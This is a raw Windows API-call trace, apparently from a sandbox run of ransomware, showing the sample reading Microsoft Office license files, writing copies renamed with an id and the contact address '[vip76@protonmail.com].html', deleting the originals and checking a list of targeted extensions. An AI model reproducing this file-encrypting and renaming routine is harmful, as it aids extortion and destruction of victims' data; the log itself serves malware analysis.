	[0199.393] WriteFile (in: hFile=0x594, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2590, lpOverlapped=0x0) returned 1
	[0199.394] ReadFile (in: hFile=0x5bc, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.394] WriteFile (in: hFile=0x594, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x10c, lpOverlapped=0x0) returned 1
	[0199.394] SetEndOfFile (hFile=0x594) returned 1
	[0199.394] CloseHandle (hObject=0x594) returned 1
	[0199.394] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.395] SetEndOfFile (hFile=0x5bc) returned 1
	[0199.397] CloseHandle (hObject=0x5bc) returned 1
	[0199.397] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.398] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms")) returned 1
	[0199.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0199.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0199.399] lstrlenW (lpString=".doc") returned 4
	[0199.399] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.399] lstrlenW (lpString=".docx") returned 5
	[0199.399] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.399] lstrlenW (lpString=".pdf") returned 4
	[0199.399] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.399] lstrlenW (lpString=".xls") returned 4
	[0199.399] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.399] lstrlenW (lpString=".xlsx") returned 5
	[0199.399] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.399] lstrlenW (lpString=".ppt") returned 4
	[0199.399] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0199.399] lstrlenW (lpString=".zip") returned 4
	[0199.399] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.399] lstrlenW (lpString=".rar") returned 4
	[0199.399] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.400] lstrlenW (lpString=".bz2") returned 4
	[0199.400] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.400] lstrlenW (lpString=".7z") returned 3
	[0199.400] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0199.400] lstrlenW (lpString=".dbf") returned 4
	[0199.400] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0199.400] lstrlenW (lpString=".1cd") returned 4
	[0199.400] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0199.400] lstrlenW (lpString=".jpg") returned 4
	[0199.400] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0199.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0199.400] lstrlenW (lpString=".doc") returned 4
	[0199.400] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.400] lstrlenW (lpString=".docx") returned 5
	[0199.400] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.400] lstrlenW (lpString=".pdf") returned 4
	[0199.400] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.400] lstrlenW (lpString=".xls") returned 4
	[0199.400] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.400] lstrlenW (lpString=".xlsx") returned 5
	[0199.400] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.400] lstrlenW (lpString=".ppt") returned 4
	[0199.401] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0199.401] lstrlenW (lpString=".zip") returned 4
	[0199.401] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.401] lstrlenW (lpString=".rar") returned 4
	[0199.401] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.401] lstrlenW (lpString=".bz2") returned 4
	[0199.401] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.401] lstrlenW (lpString=".7z") returned 3
	[0199.401] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0199.401] lstrlenW (lpString=".dbf") returned 4
	[0199.401] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0199.401] lstrlenW (lpString=".1cd") returned 4
	[0199.401] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0199.401] lstrlenW (lpString=".jpg") returned 4
	[0199.401] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.401] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0199.401] lstrlenW (lpString="MondoVL_MAK-pl.xrm-ms") returned 21
	[0199.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0199.402] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=10619) returned 1
	[0199.402] CloseHandle (hObject=0x5bc) returned 1
	[0199.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms")) returned 0x220
	[0199.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0199.403] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.403] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0199.404] GetLastError () returned 0x0
	[0199.404] ReadFile (in: hFile=0x5bc, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x297b, lpOverlapped=0x0) returned 1
	[0199.639] WriteFile (in: hFile=0x594, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2980, lpOverlapped=0x0) returned 1
	[0199.640] ReadFile (in: hFile=0x5bc, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.640] WriteFile (in: hFile=0x594, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xfe, lpOverlapped=0x0) returned 1
	[0199.640] SetEndOfFile (hFile=0x594) returned 1
	[0199.641] CloseHandle (hObject=0x594) returned 1
	[0199.641] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.641] SetEndOfFile (hFile=0x5bc) returned 1
	[0199.643] CloseHandle (hObject=0x5bc) returned 1
	[0199.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.056] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms")) returned 1
	[0200.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0200.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0200.056] lstrlenW (lpString=".doc") returned 4
	[0200.056] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.057] lstrlenW (lpString=".docx") returned 5
	[0200.057] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.057] lstrlenW (lpString=".pdf") returned 4
	[0200.057] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.057] lstrlenW (lpString=".xls") returned 4
	[0200.057] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.057] lstrlenW (lpString=".xlsx") returned 5
	[0200.057] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.057] lstrlenW (lpString=".ppt") returned 4
	[0200.057] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0200.057] lstrlenW (lpString=".zip") returned 4
	[0200.057] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.057] lstrlenW (lpString=".rar") returned 4
	[0200.057] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.057] lstrlenW (lpString=".bz2") returned 4
	[0200.057] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.057] lstrlenW (lpString=".7z") returned 3
	[0200.057] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0200.057] lstrlenW (lpString=".dbf") returned 4
	[0200.057] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0200.057] lstrlenW (lpString=".1cd") returned 4
	[0200.057] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0200.057] lstrlenW (lpString=".jpg") returned 4
	[0200.057] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0200.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0200.058] lstrlenW (lpString=".doc") returned 4
	[0200.058] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.058] lstrlenW (lpString=".docx") returned 5
	[0200.058] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.058] lstrlenW (lpString=".pdf") returned 4
	[0200.058] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.058] lstrlenW (lpString=".xls") returned 4
	[0200.058] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.058] lstrlenW (lpString=".xlsx") returned 5
	[0200.058] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.058] lstrlenW (lpString=".ppt") returned 4
	[0200.058] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0200.058] lstrlenW (lpString=".zip") returned 4
	[0200.058] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.058] lstrlenW (lpString=".rar") returned 4
	[0200.058] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.058] lstrlenW (lpString=".bz2") returned 4
	[0200.058] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.058] lstrlenW (lpString=".7z") returned 3
	[0200.058] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0200.058] lstrlenW (lpString=".dbf") returned 4
	[0200.058] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0200.058] lstrlenW (lpString=".1cd") returned 4
	[0200.058] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0200.058] lstrlenW (lpString=".jpg") returned 4
	[0200.058] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.059] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0200.059] lstrlenW (lpString="O365HomePremR_Subscription1-pl.xrm-ms") returned 37
	[0200.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0200.059] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=11199) returned 1
	[0200.060] CloseHandle (hObject=0x514) returned 1
	[0200.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms")) returned 0x220
	[0200.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0200.060] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.060] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0200.061] GetLastError () returned 0x0
	[0200.061] ReadFile (in: hFile=0x514, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x2bbf, lpOverlapped=0x0) returned 1
	[0200.063] WriteFile (in: hFile=0x554, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0200.064] ReadFile (in: hFile=0x514, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.064] WriteFile (in: hFile=0x554, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0200.064] SetEndOfFile (hFile=0x554) returned 1
	[0200.064] CloseHandle (hObject=0x554) returned 1
	[0200.064] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.064] SetEndOfFile (hFile=0x514) returned 1
	[0200.068] CloseHandle (hObject=0x514) returned 1
	[0200.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.069] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms")) returned 1
	[0200.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0200.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0200.070] lstrlenW (lpString=".doc") returned 4
	[0200.070] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.070] lstrlenW (lpString=".docx") returned 5
	[0200.070] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.070] lstrlenW (lpString=".pdf") returned 4
	[0200.070] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.070] lstrlenW (lpString=".xls") returned 4
	[0200.070] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.070] lstrlenW (lpString=".xlsx") returned 5
	[0200.070] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.070] lstrlenW (lpString=".ppt") returned 4
	[0200.070] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0200.070] lstrlenW (lpString=".zip") returned 4
	[0200.070] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.070] lstrlenW (lpString=".rar") returned 4
	[0200.070] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.070] lstrlenW (lpString=".bz2") returned 4
	[0200.070] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.070] lstrlenW (lpString=".7z") returned 3
	[0200.070] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0200.070] lstrlenW (lpString=".dbf") returned 4
	[0200.070] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0200.070] lstrlenW (lpString=".1cd") returned 4
	[0200.071] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0200.071] lstrlenW (lpString=".jpg") returned 4
	[0200.071] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0200.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0200.071] lstrlenW (lpString=".doc") returned 4
	[0200.071] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.071] lstrlenW (lpString=".docx") returned 5
	[0200.071] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.071] lstrlenW (lpString=".pdf") returned 4
	[0200.071] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.071] lstrlenW (lpString=".xls") returned 4
	[0200.071] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.071] lstrlenW (lpString=".xlsx") returned 5
	[0200.071] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.071] lstrlenW (lpString=".ppt") returned 4
	[0200.071] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0200.071] lstrlenW (lpString=".zip") returned 4
	[0200.071] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.071] lstrlenW (lpString=".rar") returned 4
	[0200.072] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.072] lstrlenW (lpString=".bz2") returned 4
	[0200.072] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.072] lstrlenW (lpString=".7z") returned 3
	[0200.072] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0200.072] lstrlenW (lpString=".dbf") returned 4
	[0200.072] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0200.072] lstrlenW (lpString=".1cd") returned 4
	[0200.072] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0200.072] lstrlenW (lpString=".jpg") returned 4
	[0200.072] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.072] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0200.072] lstrlenW (lpString="O365HomePremR_Subscription1-ppd.xrm-ms") returned 38
	[0200.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0200.073] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=26541) returned 1
	[0200.073] CloseHandle (hObject=0x514) returned 1
	[0200.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms")) returned 0x220
	[0200.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0200.074] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.074] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
